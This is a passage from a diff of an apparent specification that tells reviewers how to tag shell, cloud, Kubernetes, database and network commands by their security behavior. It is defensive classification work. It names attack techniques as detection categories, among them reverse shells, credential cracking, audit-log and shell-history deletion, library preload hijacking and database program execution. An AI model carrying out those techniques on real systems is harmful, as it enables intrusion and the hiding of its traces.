+ ValidatingAdmissionPolicyBinding, Kyverno Policy/ClusterPolicy, Gatekeeper
666
+ constraints, and comparable admission policy reads use `inspect_auth_policy`;
667
+ their mutations use `modify_cluster_auth_policy`, except concrete binding
668
+ grants may use `grant_cluster_privilege`. Namespace label changes that set Pod
669
+ Security Admission modes such as `pod-security.kubernetes.io/enforce` are
670
+ `modify_cluster_auth_policy`. CronJob collection and named reads use
671
+ `enumerate_scheduled_tasks` or `read_scheduled_task`; CronJob create,
672
+ update/patch, and delete use `create_scheduled_task`,
673
+ `modify_scheduled_task`, and `delete_scheduled_task`. A Job created from a
674
+ CronJob template with a visible CronJob owner is `execute_scheduled_task`; a
675
+ plain Job create remains `modify_workload`. Velero Backup, Restore, Schedule,
676
+ and comparable backup-controller CRDs use `manage_infrastructure_backup` for
677
+ backup/restore lifecycle operations. CertificateSigningRequest approval,
678
+ CertificateRequest, Certificate, Issuer, ClusterIssuer, and comparable
679
+ certificate workflow mutations use `modify_verification_material`; plain
680
+ collection reads remain cluster-resource enumeration unless the event reads a
681
+ concrete Secret containing certificate private material. GitOps and operator
682
+ service accounts are tagged by the visible API operation they perform, not by
683
+ the caller identity.
684
+ Live Kubernetes and OpenShift resource changes are not cloud-control-plane
685
+ resource changes unless the command addresses a provider resource outside the
686
+ cluster API. Apply/delete/patch/label/taint operations on ordinary cluster
687
+ objects, nodes, namespaces, PVCs, webhooks, and add-ons are workload or cluster
688
+ state modification. Traffic exposure and routing objects such as Services,
689
+ Ingresses, Endpoints, Routes, and service-mesh VirtualServices use
690
+ `modify_route`. RBAC, admission/auth policy, secrets, NetworkPolicies, and
691
+ CronJobs keep their specialized cluster, firewall, secret, or scheduled-task
692
+ tags.
693
+ OpenShift project/context helpers follow the same local context rule. `oc
694
+ project`, `kubectx`, and `kubens` modify or read local kubeconfig context state
695
+ according to the visible option. `oc expose svc/...` creates or changes cluster
696
+ routing/exposure and is `modify_route`; `oc start-build --follow` combines
697
+ container-image build behavior with build log reading.
698
+
699
+ Infrastructure template rendering, planning, validation, linting, and dry-run
700
+ forms are `plan_infrastructure_template` when they do not apply changes to a
701
+ live target. Source operands can add the applicable semantic read tag when the
702
+ path or tool establishes a meaningful source class. Live cluster changes such
703
+ as Helm upgrade/install/rollback/uninstall remain workload modification unless
704
+ the command is explicitly only a template or dry-run render.
705
+ Helm release queries such as history, status, values, and manifest reads inspect
706
+ the managed workload or release state; they are not local infrastructure-config
707
+ reads solely because Helm values look like configuration. Redirecting that
708
+ output to a file does not add a file-path behavior tag.
709
+ Helm release test runs are workload/service health tests, not source builds.
710
+ Helm template, lint, diff, and comparable render/validation-only operations are
711
+ infrastructure-template planning unless they apply changes to a live target.
712
+ Jsonnet rendering and Kustomize localization follow the same infrastructure
713
+ template planning boundary; output destinations do not add file-path behavior
714
+ tags unless the command is explicitly editing local source/config files.
715
+ Service-mesh CLI operations follow the same operation split: analysis, injection
716
+ rendering, and proxy configuration views are planning or inspection; install
717
+ commands apply infrastructure templates; dashboard commands that open a local
718
+ web UI are local listener creation.
719
+ CI workflow files inside source repositories are source/automation definitions,
720
+ not host infrastructure configuration. Reading, linting, diffing, or editing
721
+ `.github/workflows` uses source or repository tags. A visible scheduled trigger
722
+ inside the workflow, such as an `.on.schedule` query, also reads scheduled-task
723
+ content.
724
+ Writing a workflow, Dockerfile, Jenkinsfile, or comparable automation file may
725
+ use `write_executable_content` when the inserted content is executable syntax,
726
+ but embedded future commands do not add current download, upload, credential
727
+ read, environment read, or execution tags unless this command line executes
728
+ them now.
729
+
730
+ GitOps and infrastructure-as-code CLIs follow the visible operation, not the
731
+ repository, app, stack, or target name. Argo CD and Flux app sync, rollback,
732
+ reconcile, suspend, and resume operations modify the managed workload or
733
+ deployment state; app diff/get and kustomization listing inspect or enumerate
734
+ that state. Terraform, Terragrunt, and Pulumi init, plan/preview, apply/up,
735
+ destroy, state, stack-select, and config commands use the corresponding
736
+ infrastructure-template or infrastructure-config tags. Explicit secret-config
737
+ writes, such as Pulumi `config set --secret`, also use `write_secret_store`.
738
+ Git configuration, remote URLs, and repository-local metadata are source
739
+ repository state. Reading or changing them uses source repository tags, not
740
+ host infrastructure-configuration tags, unless a stronger content class such as
741
+ credential material is visibly requested.
742
+ Ansible ad-hoc modules and playbooks execute remote automation unless the
743
+ visible module is only a connectivity probe. `ping` is
744
+ `probe_remote_access_service`; `shell`/`command`/playbook execution is
745
+ `execute_remote_command`; `copy`, `package`, and `service` add the visible
746
+ file/package/service effect when arguments establish it. Packer `fmt`,
747
+ `validate`, `init`, and `build` modify, plan/read, initialize, and build
748
+ machine-image templates according to the visible subcommand and builder; VM
749
+ image builders use `manage_virtual_machine`, while explicit container builders
750
+ use container-image tags. Vagrant, libvirt/virsh, virt-install, virt-clone, and
751
+ QEMU lifecycle operations that create, start, stop, suspend, resume, provision,
752
+ clone, undefine, or destroy local VM state use `manage_virtual_machine`. VM
753
+ status, listing, metadata inspection, console attach, and disk-image file reads
754
+ remain ordinary inspect, enumerate, connect, or file-read behavior.
755
+ Ansible inventory listing, host views, graph views, and playbook
756
+ `--syntax-check` read inventory or automation content but do not execute remote
757
+ automation. Dynamic cloud inventory plugins that query provider APIs also
758
+ enumerate cloud resources.
759
+
760
+ Cloud credential wrappers such as `aws-vault exec` are execution-context
761
+ boundaries: tag the visible nested command's behavior and add changed-identity
762
+ execution only when a command is actually run under that profile. Cloud
763
+ kubeconfig export helpers such as `aws eks update-kubeconfig` and `gcloud
764
+ container clusters get-credentials` export cluster connection configuration;
765
+ when they write local kubeconfig state, `modify_infrastructure_config` may
766
+ coexist with `export_cluster_config`.
767
+ Cloud CLI login or service-account activation is `authenticate_cloud_cli`; cloud
768
+ CLI config setters are `configure_cloud_cli`. Explicit token refresh, renewal,
769
+ logout, session revocation, or token-delete APIs use the access-token lifecycle
770
+ tags instead of generic cloud CLI configuration.
771
+ Cloud account, subscription, project, tenant, and organization listings are
772
+ `enumerate_cloud_accounts`. Cloud IAM users, service accounts, roles, service
773
+ principals, and groups are cloud identity enumeration or mutation, not cloud
774
+ account enumeration.
775
+ Cloud IAM policy-document creation, replacement, versioning, or custom-role
776
+ definition changes are cloud identity policy modification. Binding a policy or
777
+ role to a principal grants cloud privilege; removing that binding revokes cloud
778
+ privilege. Visible policy-document file operands read auth-policy content.
779
+ Cloud compute reads split by visible scope: bulk `list` or filtered
780
+ `describe-instances` resource discovery is `enumerate_cloud_resources`, while a
781
+ single VM/server/instance detail view such as `instances describe`, `vm
782
+ get-instance-view`, `server show`, or single-instance attribute reads is
783
+ `read_cloud_metadata`. Cloud VM remote command helpers are
784
+ `execute_cloud_compute`, with the nested script's visible download, execution,
785
+ file, service, or inspection behaviors added. Explicit cloud VM restart/reset
786
+ operations use `reboot_host`; start, stop, migrate, evacuate, tag, metadata, or
787
+ attribute changes remain `modify_cloud_resource`.
788
+ Cloud-provider resources and cluster resources are separate. IAM users, roles,
789
+ policies, service accounts, cloud functions, cloud SQL instances, snapshots, and
790
+ provider-managed templates use cloud-control-plane tags. Kubernetes namespaces,
791
+ ConfigMaps, Knative services, cluster add-ons, and dry-run rendered manifests use
792
+ cluster/workload or planning tags instead of `create_cloud_resource`. Cloud DB
793
+ connection commands are `connect_cloud_database`; auth-token generation,
794
+ connection-string display, and SQL execution are token creation, metadata read,
795
+ or query behavior according to the visible subcommand.
796
+ Cloud DNS, firewall/security-group, IAM privilege, and access-token operations
797
+ use their specialized tags instead of generic cloud-resource modification.
798
+ Provider queue or stream purge/delete operations modify coordination or queue
799
+ state rather than deleting a cloud resource.
800
+
801
+ PaaS and scheduler CLIs follow visible platform operation. Heroku/Fly app
802
+ creation, deploy, scale, config, run, SSH console, secrets, and logs map to
803
+ cloud resource modification, workload execution, interactive shell, cloud
804
+ secret modification, or workload log reads according to the subcommand. Vault,
805
+ Consul KV, ZooKeeper, etcd, and comparable coordination/KV commands use
806
+ secret-store or credential tags for secret paths or secret-like keys;
807
+ ordinary service/config keys use `read_coordination_data` for reads and
808
+ `modify_coordination_data` for writes/deletes. Nomad job run/stop/status and
809
+ allocation logs map to workload modification, inspection, and workload log
810
+ reads.
811
+ Application framework maintenance-mode commands, such as enabling or disabling
812
+ maintenance mode, modify service state. A visible maintenance bypass secret or
813
+ temporary access token creates access-token material. Explicit render/template
814
+ file operands read their source content but do not execute that content unless
815
+ the command runs it now.
816
+ Vault `operator unseal` changes Vault service availability state and uses
817
+ `modify_service_state`. Unseal keys read from visible files or command
818
+ substitutions add credential-material reads; output captured with `tee` or
819
+ redirection remains incidental output capture.
820
+ Remote service, KV, or coordination-state query output redirected to a local
821
+ file keeps the source domain tag and does not add a file-path behavior tag.
822
+ Mail operations follow visible mail-system semantics. SMTP/IMAP/TLS handshakes
823
+ and no-op checks are mail-server connections; synchronization tools such as
824
+ fetchmail, getmail, mbsync, offlineimap, and imapsync fetch remote mail. Mailbox
825
+ file reads and `doveadm` mailbox queries read mailboxes. Postfix/Exim queue
826
+ listing or message inspection inspects the mail queue; queue delete, hold,
827
+ release, flush, or retry commands modify it. Spam/ham learning commands train a
828
+ mail filter. Commands that visibly send mail use `send_mail`. Mailbox MIME
829
+ extraction uses the applicable destination/content semantic tag only when
830
+ extracting attachment or message content to local files is the direct operation,
831
+ not for incidental reports.
832
+ Database CLIs follow the visible database operation. Session opens, readiness
833
+ probes, schema enumeration, data queries, schema/data mutations, dumps, restores,
834
+ and benchmark/load-test runs use their database-specific tags. SQL file operands
835
+ or stdin redirects used by clients such as `psql`, `mysql`, and `mariadb` are
836
+ database import or script execution inputs, with semantic source reads added
837
+ only when the source path establishes one; when no dedicated script-execution tag
838
+ exists, use the visible SQL objective from the subcommand or strong script name,
839
+ and keep a plain session tag only when the objective is not established. Client
840
+ defaults files are
841
+ infrastructure configuration reads. Client TLS certificates and keys are
842
+ verification and credential material reads. Database admin status and
843
+ process-list commands inspect the service; variables/config views read
844
+ infrastructure configuration, and extended status/metrics views read service
845
+ metrics.
846
+ Database deletion tags distinguish object removal from row/document deletion.
847
+ Dropping a concrete database, schema, index, or data stream is `delete_database`;
848
+ SQL `DELETE`, `_delete_by_query`, partition/content removal, and wildcard or
849
+ bulk deletion of matching data collections are `delete_database_data`.
850
+ Database server-side external features are taggable when visible in the SQL.
851
+ PostgreSQL `COPY ... TO/FROM PROGRAM` is remote command execution from the
852
+ database service context, and server-side file read/write functions inherit the
853
+ visible target's semantic file tag when the target path establishes one.
854
+ Local database engines such as ClickHouse local mode and DuckDB still use
855
+ database query, schema, mutation, import, or export tags according to the SQL
856
+ operation. File operands used as table input, query files, init scripts, or
857
+ message sources add semantic source reads only when their content class is
858
+ visible. SQL text that names `system_config`, `audit_log`, credentials, cron, or
859
+ other domains is database data unless the command reads or mutates the external
860
+ domain object itself.
861
+
862
+ Message broker CLIs follow the visible broker operation. Console consumers and
863
+ producers use message consume or publish tags without adding connection tags
864
+ solely because a broker endpoint is present. Topic creation, deletion, and
865
+ partition changes modify broker infrastructure configuration; topic listing and
866
+ description inspect that infrastructure. Consumer-group offset resets and group
867
+ deletions modify coordination data, while group listing and description inspect
868
+ broker coordination state. Queue purge/delete and stream purge operations also
869
+ modify broker coordination or queue state, not cache data. Producer or consumer
870
+ config files add semantic source reads only when the path establishes a content
871
+ class.
872
+
873
+ Cache CLIs such as Redis clients follow the visible cache or service operation.
874
+ Session opens and health probes are distinct from cache data reads. Key scans,
875
+ key reads, and cache structure queries use cache query tags; key/value writes,
876
+ deletions, pushes, and cache mutations use cache modification tags. Service
877
+ metrics and memory/latency/status views read service metrics. Runtime
878
+ configuration reads and writes use infrastructure configuration tags, except
879
+ credential-bearing configuration such as passwords, which uses credential
880
+ material reads when the value is explicitly requested. Snapshot, save, RDB
881
+ export, restore, and pipe-import operations use database backup/export/import
882
+ tags according to direction. ACL reads and mutations use auth or infrastructure
883
+ privilege tags according to the visible operation.
884
+ Search/index-service alias, template, route, cluster, and node configuration
885
+ views inspect the infrastructure service; mutations to those objects modify
886
+ infrastructure configuration.
887
+
888
+ dbt subcommands are tagged from the dbt operation, not from project or profile
889
+ directory names. `deps` installs project dependencies, `seed` loads seed data
890
+ into the target database, `run` and `snapshot` modify database data or models,
891
+ and `test` runs project tests. Project/profile paths can add semantic source or
892
+ configuration reads only when the command visibly reads that content class; path
893
+ names alone MUST NOT suppress or invent the dbt subcommand behavior.
894
+
895
+ Spark, Flink, PySpark, Airflow, Oozie, Azkaban, DolphinScheduler, DataX,
896
+ Kettle/Pentaho, dbt, Sqoop, Airbyte syncs, Pinot ingestion, Prefect, Dagster,
897
+ Luigi, Argo workflow, Dataflow/Beam, Hadoop/YARN/MapReduce, HBase MapReduce,
898
+ and comparable data-processing job systems use `manage_data_processing_job`
899
+ for visible job lifecycle and monitoring behavior: submit/run, trigger,
900
+ backfill, stop/kill/cancel, clear/rerun, pause/unpause, savepoint/checkpoint
901
+ lifecycle, create/delete/update of data-job or sync definitions, status, list,
902
+ describe, logs, or monitor operations. REST/API calls to job, flow,
903
+ process-instance, task-instance, connection, or sync endpoints follow the same
904
+ rule when they create, delete, update, trigger, inspect, or monitor that data
905
+ processing unit. Dry-run, validation, and configuration-only forms do not manage
906
+ a job unless they also perform one of those lifecycle operations.
907
+ `pyspark` without a submitted script opens an interactive Spark shell and should
908
+ use the same tag because it creates a data-processing session. Add local
909
+ temporary or user-writable execution tags when the submitted application path
910
+ establishes them, and add workload execution when the master targets Kubernetes
911
+ or an equivalent workload runtime. Spark properties files are infrastructure
912
+ configuration inputs with semantic source reads only when the path establishes
913
+ another content class. HDFS `dfs` listing, usage, mkdir, get, put, and similar
914
+ operations use enumeration, storage inspection, download, upload, permission, or
915
+ domain-specific tags according to the visible operation; HDFS path names do not
916
+ imply local file content reads. HDFS existence tests such as `-test -e` inspect file
917
+ metadata. HDFS permission and ACL subcommands such as `chmod`, `chown`, and
918
+ `setfacl` use the generic permission or ACL tags because the visible operation
919
+ is an access-control mutation, even though the target is a distributed
920
+ filesystem path.
921
+ Object-storage metadata queries such as object head/stat and prefix stat/list
922
+ operations enumerate object storage. They are not local storage-state
923
+ inspection.
924
+
925
+ Do not infer `manage_data_processing_job` from an incidental product name in an
926
+ image, directory, metric label, log path, service daemon start, process path, or
927
+ cleanup command. The command must operate on the job/pipeline/workflow itself or
928
+ on a specific job-monitoring endpoint.
929
+
930
+ Local data, ML, and model utility scripts are tagged from their visible inputs
931
+ and outputs unless they invoke a job system above. Dataset profiling, feature
932
+ building, model evaluation, explanation, export, quantization, redaction, and
933
+ report generation read business data when the input dataset/model path
934
+ establishes that class. Output reports, metrics, plots, or artifacts do not add
935
+ a generic file-write tag; add an output-side tag only when the destination or
936
+ artifact has a retained security semantic such as temporary or hidden staging,
937
+ executable content, archive/compression, credential material, or source/config
938
+ mutation. Feature-store pushes and comparable sync scripts use transfer or
939
+ synchronization tags for the visible endpoint. Validation-only scripts read the
940
+ validated data/config or verify the named artifact; they are not job management
941
+ solely because the script is part of a pipeline.
942
+
943
+ SQL gateway clients such as Beeline tag the visible data-service session or SQL
944
+ operation. Query files and init files are database inputs with semantic source
945
+ reads added only when the source path establishes a content class. Trust stores,
946
+ keytabs, and similar connection-material operands are verification or credential
947
+ material reads when visible in the connection string or options.
948
+
949
+ Shell wrappers such as `sh script`, `bash script`, and explicit `-c` forms expose
950
+ the nested command or script execution that runs now, but they are not retained
951
+ behavior tags by themselves. Tag only the nested command's visible behavior,
952
+ such as service mutation, content read/write, network connection, or execution
953
+ from a temporary/user-writable path. Privileged shell modes do not by themselves
954
+ imply privilege escalation. Startup and rcfile operands for interactive shells
955
+ are shell initialization inputs; they do not prove future payload execution
956
+ beyond the shell startup behavior visible in the command.
957
+ Current-session aliases or environment changes such as `alias x=...`,
958
+ `export HISTFILE=...`, or `unset HISTFILE` are not shell-startup modification
959
+ unless persisted to a startup file. Shell history clearing requires a visible
960
+ history clear, deletion, truncation, overwrite, or targeted edit of a history
961
+ file; changing future history variables alone is not clearing existing history.
962
+
963
+ OCI artifact tools follow artifact operation semantics. Cosign verify,
964
+ triangulate, and attestation verification inspect or verify artifact metadata;
965
+ oras/crane login authenticate; pull/download, push/upload, copy/tag, manifest,
966
+ config, digest, and delete map to download/upload/transfer, inspect, or delete
967
+ container-image/artifact behavior according to the subcommand. Helmfile `diff`
968
+ is infrastructure planning, `sync`/`apply` modify workloads or apply templates,
969
+ and `destroy` destroys managed infrastructure/workloads.
970
+ Docker, Podman, Buildah, Kaniko, BuildKit, and Compose image-build operations
971
+ use `build_container_image`, not `build_source_code`; Compose `up --build`
972
+ keeps the visible container creation/start behavior as well.
973
+ Cluster build triggers such as OpenShift `start-build` use container-image build
974
+ semantics; follow/log modes add workload log reads.
975
+ Application-store or depot upload commands that log in and submit a build use
976
+ remote authentication plus the visible upload direction, not source-build tags,
977
+ unless the same command also performs a local build step.
978
+
979
+ Dynamic loader behavior is split by persistence target. `ldconfig` and loader
980
+ cache or search-path updates modify dynamic-loader state. Writes, edits,
981
+ symlinks, or truncation involving `/etc/ld.so.preload` modify library preload
982
+ state. One-shot `LD_PRELOAD`, `LD_AUDIT`, `LD_LIBRARY_PATH`, GCONV, or explicit
983
+ loader-invocation execution uses dynamic-loader execution behavior.
984
+
985
+ Cryptographic commands tag the visible cryptographic operation plus retained
986
+ semantic reads and writes. Key generation creates credential material;
987
+ certificate/CSR inspection or signing reads verification or credential inputs
988
+ and writes verification material when an output path is visible.
989
+ Encryption/decryption reads the semantic source object and uses
990
+ `encrypt_data`/`decrypt_data`; the destination path adds another tag only when it
991
+ has a retained security semantic such as credential material, verification
992
+ material, temporary or hidden staging, archive/compression, source/config
993
+ mutation, or executable content. Digest and signature verification read the
994
+ target artifact but do not become credential creation merely because key
995
+ material is used.
996
+ Access-token creation is for bearer/session/SAS/presigned/Kerberos or comparable
997
+ time-bound access artifacts. Long-lived private keys, keystores, keytabs,
998
+ password hashes, robot credentials, and certificate private-key bundles are
999
+ credential material. Credential cracking tools use `crack_credential_material`;
1000
+ benchmark or self-test modes are performance tests, not cracking attempts.
1001
+ Encoding tags are for representation transforms such as base64, hex, JWT decode,
1002
+ and comparable reversible encodings. Plain text filtering or character deletion
1003
+ with tools such as `tr` and `sed` is not encoding unless the command performs a
1004
+ recognized encoding transform.
1005
+ Signature, attestation, and certificate tools that take explicit key,
1006
+ predicate, certificate, keystore, or artifact operands MUST tag those operands'
1007
+ visible semantic reads when the path establishes the content class. Key or
1008
+ keystore import, export, delete, and generation commands tag the visible
1009
+ credential or verification material mutation direction. Certbot standalone and
1010
+ webroot certificate issuance fetch remote certificate material; Certbot webserver
1011
+ installer plugins such as `--nginx` and `--apache` also modify infrastructure
1012
+ configuration.
1013
+
1014
+ Network control tools MUST follow their primary operation. Active wireless
1015
+ scans are endpoint probes; viewing cached scan results or link/status state is
1016
+ network-state inspection. WPA supplicant network-list or configured-network
1017
+ field queries also inspect network state; they are not host infrastructure
1018
+ configuration reads. `ipset` and connection-tracking mutations are firewall
1019
+ policy/state mutations; listing them is inspection. SSH host-key collection with
1020
+ `ssh-keyscan` is a remote-access service probe, not a generic certificate fetch.
1021
+ VPN tools such as OpenVPN and WireGuard MUST use VPN management for connection
1022
+ or peer configuration actions, and network-state inspection for status views.
1023
+
1024
+ Binary dependency and loader inspection tools such as `ldd` inspect the target
1025
+ file's linked dependencies or metadata. They are `inspect_file_metadata`, not
1026
+ generic system-state inspection, unless the command visibly queries runtime
1027
+ system state.
1028
+ Content rendering tools such as `strings`, `hexdump`, and `xxd` read target
1029
+ content. They inherit the target's semantic read tag and MUST NOT add
1030
+ `inspect_file_metadata` unless the command visibly inspects metadata rather than
1031
+ content.
1032
+ Kernel and runtime tracing tools such as `bpftrace`, `execsnoop`, `opensnoop`,
1033
+ `filetop`, `fileslower`, `filelife`, `perf trace`, and `sysdig` tag the tracing,
1034
+ eBPF loading, packet capture, or capture-file read that is currently performed.
1035
+ Probe names, filters, process names, and quoted command patterns are selectors
1036
+ only; they MUST NOT be tagged as execution, semantic file reads, credential
1037
+ reads, or log reads unless the command actually executes or reads that object
1038
+ now. Process-exec tracers use `trace_process_execution`; file-open/access
1039
+ tracers use `trace_file_access`. Output flags that write trace or capture data
1040
+ tag the visible write only when the vocabulary has a suitable write tag.
1041
+ `strace` and `ltrace` follow the same rule; a real command operand is executed
1042
+ under tracing, while `strace -e trace=file`, `open`, or `openat` forms are file
1043
+ access tracing rather than semantic reads of the matched paths.
1044
+ Kernel parameter reads and writes include `sysctl` and `/proc/sys` paths.
1045
+ Kernel state reads include `dmesg`, `uname`, cgroup/kernel debug state, and
1046
+ feature/status probes that do not read a tunable parameter. Process memory reads
1047
+ cover `/proc/<pid>/mem`, core files, heap dumps, and memory images; thread dumps,
1048
+ backtraces, stack dumps, pprof/perf captures, and comparable runtime snapshots
1049
+ capture process state. Terminal scrollback capture from tools such as tmux is
1050
+ not process-state capture. Commands that add or remove tracing probes modify
1051
+ kernel tracing state; commands that record or display observed execution traces
1052
+ use tracing tags.
1053
+ Local hardware and accelerator status tools such as GPU inventory, utilization,
1054
+ topology, clock, power, and temperature queries inspect system state. Cluster
1055
+ metric commands such as Kubernetes `top` read service metrics rather than local
1056
+ host state.
1057
+ Host security audit and malware scan tools inspect system state unless a more
1058
+ specific content class is visible. Their target path alone does not make the
1059
+ operation storage-state inspection. Explicit report, log, quarantine, or output
1060
+ destinations do not add file-path behavior tags; quarantine or move operations
1061
+ require a retained semantic tag such as critical-path, credential, log, archive,
1062
+ or domain-specific mutation to be taggable.
1063
+ Packet tools such as `tcpdump` and `tshark` use live capture tags for interface
1064
+ captures and `read_packet_capture` for `-r` capture-file reads. Capture filters
1065
+ and display filters are selectors; uploading captured output keeps both the
1066
+ capture/read tag and the visible upload direction. Tools that read saved pcap,
1067
+ pcapng, flow, or Zeek input files use `read_packet_capture`; tools that merely
1068
+ serve or relay a capture-named file over a listener do not become packet
1069
+ capture. Active traffic redirection or spoofing commands are route modification
1070
+ when the visible objective is path manipulation; add listener tags only when the
1071
+ tool starts reachable services now.
1072
+ Shell and tunnel direction is determined by the command's active network role.
1073
+ `spawn_bind_shell` requires a listening endpoint whose executed program is a
1074
+ shell; a listener that serves a file, forwards bytes, or runs a non-shell command
1075
+ is not a bind shell. `spawn_reverse_shell` requires an outbound connection wired
1076
+ to an interactive shell; strings that merely print a payload, dead arguments, or
1077
+ one-way content piped into an interpreter are not reverse shells. Reverse-tunnel
1078
+ clients such as `ssh -R` and `autossh -R` are not additionally local listeners,
1079
+ but reverse-tunnel servers or relay daemons with explicit listen ports do listen.
1080
+ Loopback and Unix-socket services are local listeners; wildcard or non-loopback
1081
+ binds are network listeners. Remote interactive clients such as Mosh, Telnet, and
1082
+ WinRM open remote sessions; tag them as service connections and add
1083
+ `spawn_interactive_shell` only when the command establishes an interactive shell
1084
+ or shell-like session, not for banner probes.
1085
+ DNS record, zone, resolver, and provider-record mutations are DNS config
1086
+ modification. DNS cache flushes are cache flushes, not DNS config changes.
1087
+ DNS server zone/config reload commands are DNS configuration state changes, not
1088
+ generic service-state changes, when the visible operation is reloading DNS
1089
+ zones or resolver configuration.
1090
+ Zone-transfer commands use `perform_dns_zone_transfer`; uploaded zone-transfer
1091
+ output keeps the visible upload direction and sensitive-content class when the
1092
+ zone or output path establishes it. VPN start, stop, up, down, and initiate
1093
+ commands manage VPN connections; explicit VPN profile/config operands also read
1094
+ infrastructure config.
1095
+ System log writers such as `logger` tag appended system-log content. Literal log
1096
+ messages are not executed or reclassified from their text. File-input modes such
1097
+ as `logger -f` and journald-entry file modes also read the visible source file's
1098
+ semantic content when the source path establishes one.
1099
+ Journal readers such as `journalctl` tag the visible journal read, search,
1100
+ storage inspection, or vacuum operation. Unit names, fields, and time ranges are
1101
+ filters; they MUST NOT become service inspection or execution tags. SSH/auth
1102
+ units and fields read authentication audit logs, audit transports or auditd read
1103
+ system audit logs, infrastructure daemons read infrastructure logs, and
1104
+ application/business services read business logs. `--vacuum-*` mutates journal
1105
+ retention and is log deletion; `--disk-usage` inspects journal storage usage.
1106
+ Deleting visible log files is log deletion, not a file-path deletion behavior.
1107
+ Authentication and audit logs use `delete_audit_log`, system logs use
1108
+ `delete_system_log`, infrastructure daemon logs use `delete_infrastructure_log`,
1109
+ and application or business-service logs use `delete_business_log`. If the same
1110
+ command also deletes non-log artifacts, add another tag only when those artifacts
1111
+ have a retained semantic class.
1112
+ Log rotation tools read their visible rotation configuration. Debug or dry-run
1113
+ forms tag only the configuration read and other non-mutating inspection visible
1114
+ in the command. Forced, verbose, or normal rotation forms that actually perform
1115
+ rotation tag compression/rotation behavior in addition to the configuration
1116
+ read.
1117
+
1118
+ Storage inventory and usage tools such as `df`, `du`, `lsblk`, `blkid`, and
1119
+ partition-table listing forms of `fdisk`/`sfdisk` are storage-state inspection.
1120
+ Their path operands MUST NOT be upgraded to semantic file, secret, SSH, or
1121
+ cluster reads unless the tool visibly reads that content rather than storage
1122
+ metadata or usage.
1123
+
1124
+ Partition editors without an explicit listing, size, dump, JSON, print, or dry
1125
+ run mode are storage-volume mutation. `partprobe` without dry-run mutates the
1126
+ kernel's partition view; dry-run forms are storage-state inspection.
1127
+
1128
+ Filesystem check tools are storage-state inspection when run in dry-run,
1129
+ no-write, or report-only modes. Auto-repair modes such as assume-yes or
1130
+ preen/automatic repair are storage-volume mutation. Mount table queries are
1131
+ storage-state inspection; mounting and unmounting are mount-state mutation.
1132
+ Loop-device attach/detach mutates storage-volume state; loop-device listing or
1133
+ free-device discovery is storage-state inspection. Swap creation/enabling and
1134
+ disabling are swap-state mutations, not ordinary filesystem formatting. Block
1135
+ copy tools such as `dd` are copies or reads according to their visible source
1136
+ and destination; writing to `/dev/null` or `/dev/zero` is not secure deletion
1137
+ unless the command visibly overwrites the target object being deleted.
1138
+ Container or local volume lifecycle operations such as volume removal mutate
1139
+ storage-volume state rather than deleting ordinary filesystem paths.
1140
+ Snapshot listing, snapshot metadata display, and backup snapshot inventory are
1141
+ inspection. Snapshot creation, deletion, rollback, merge, protect, unprotect,
1142
+ or restore/import operations use snapshot management.
1143
+
1144
+ Single-stream compression tools such as `gzip`, `gunzip`, `bzip2`, and `xz` use
1145
+ compression or decode tags. Their decompression modes MUST NOT be labeled as
1146
+ archive extraction unless the tool actually extracts archive members. Test modes
1147
+ that validate compressed streams are artifact-integrity verification.
1148
+ Compression, archive, decode, and integrity-test commands also inherit visible
1149
+ source-content read tags when the source path identifies scheduled-task,
1150
+ credential, log, config, business, source-code, process-memory, or comparable
1151
+ semantic content.
1152
+ Archive listing modes such as `tar -tf`, `zip/unzip -l`, `7z l`, and `cpio -it`
1153
+ enumerate archive members. Package manager metadata queries against the local
1154
+ package database or configured package repositories, including OS package
1155
+ managers and language package managers such as `apt`, `apt-cache`, `yum`, `dnf`,
1156
+ `zypper`, `apk`, `pacman`, `pip`, `gem`, `composer`, `cargo`, `npm`, `yarn`,
1157
+ `pnpm`, and `rpm -q*` query forms, are package enumeration.
1158
+ Remote application-store searches such as `snap find` and `flatpak search` are
1159
+ package enumeration, not a removed remote-query fallback. Package-manager
1160
+ commands that request ephemeral package resolution for a visible command, such
1161
+ as `npx --package`, include
1162
+ `install_package` in addition to the invoked command's visible behavior. Package
1163
+ simulation requires an explicit dry-run/simulate/no-act form; debug output alone
1164
+ does not make an update or install simulated. `execute_package_hook` is reserved
1165
+ for commands that visibly run package maintainer scripts, package triggers, or
1166
+ package lifecycle scripts, such as explicit configure/trigger/postinst invocations
1167
+ or install commands that explicitly enable script execution. Plain package
1168
+ installs do not gain that tag solely because package managers may run hooks
1169
+ internally. Persisting hook content into a package artifact is future behavior,
1170
+ not current hook execution. System selector tools such as `alternatives --install`
1171
+ are system configuration mutations, not package installs or hooks. Package
1172
+ scripts and build targets such as `npm run`, `yarn run`, `pnpm run`, and
1173
+ `make <target>` MUST NOT be tagged from target names alone. Tag only visible
1174
+ effects in the command line, or standard build/test/lint behavior when the tool
1175
+ form itself establishes it. Standalone project test commands such as `go test`,
1176
+ `cargo test`, `pytest`, `npm test`, `npm run test`, `yarn test`, `pnpm test`,
1177
+ `gradle test`, and Unity test runs use `build_source_code` as project source
1178
+ build/validation behavior when the tool form establishes a real test run. Report
1179
+ and coverage output paths are incidental unless the command directly edits
1180
+ source/config/data files. Lint, type-check, static-analysis, and documentation-generation
1181
+ commands follow the same rule; benchmark commands use `run_performance_test`.
1182
+ Source-code generators and formatters that write generated or reformatted source
1183
+ use `modify_source_code`; artifact-only compilers may still use
1184
+ `build_source_code`.
1185
+ Compiler, linter, and syntax-check commands that take a strongly identified
1186
+ non-source input such as an audit log, systemd unit, Kubernetes manifest, or
1187
+ build script inherit that input's semantic read tag instead of being reduced to
1188
+ source-build behavior.
1189
+ Standard install targets such as `make install` use `install_package`; dry-run
1190
+ publish/package verification uses `verify_artifact_integrity`. Strong persistence
1191
+ targets such as an executed `install-persistence` target may use persistence tags
1192
+ when the objective is explicit.
1193
+ Dry-run or no-op build forms such as `make -n` do not use `build_source_code`
1194
+ unless another visible tag captures the simulated operation.
1195
+ Build or package commands that explicitly pass a hook payload for current
1196
+ execution, such as a pre-goal or release-hook command, use
1197
+ `execute_package_hook` plus the visible nested behavior.
1198
+ Storage pool scrub/status/list operations are
1199
+ storage-state inspection unless the command visibly creates, imports, destroys,
1200
+ or reconfigures storage state.
1201
+
1202
+ Command wrappers that accept a command operand, including `ssh-agent <command>`,
1203
+ execute that operand now. Reviewers MUST tag the nested command's visible
1204
+ behavior when a specific execution tag applies; wrapper setup without a command
1205
+ operand has no behavior tag by itself.
1206
+
1207
+ ## Schema Boundary Notes
1208
+
1209
+ This section is normative, but intentionally limited. The RFC does not repeat
1210
+ obvious tag names from the schema. It records only schema-level boundaries that
1211
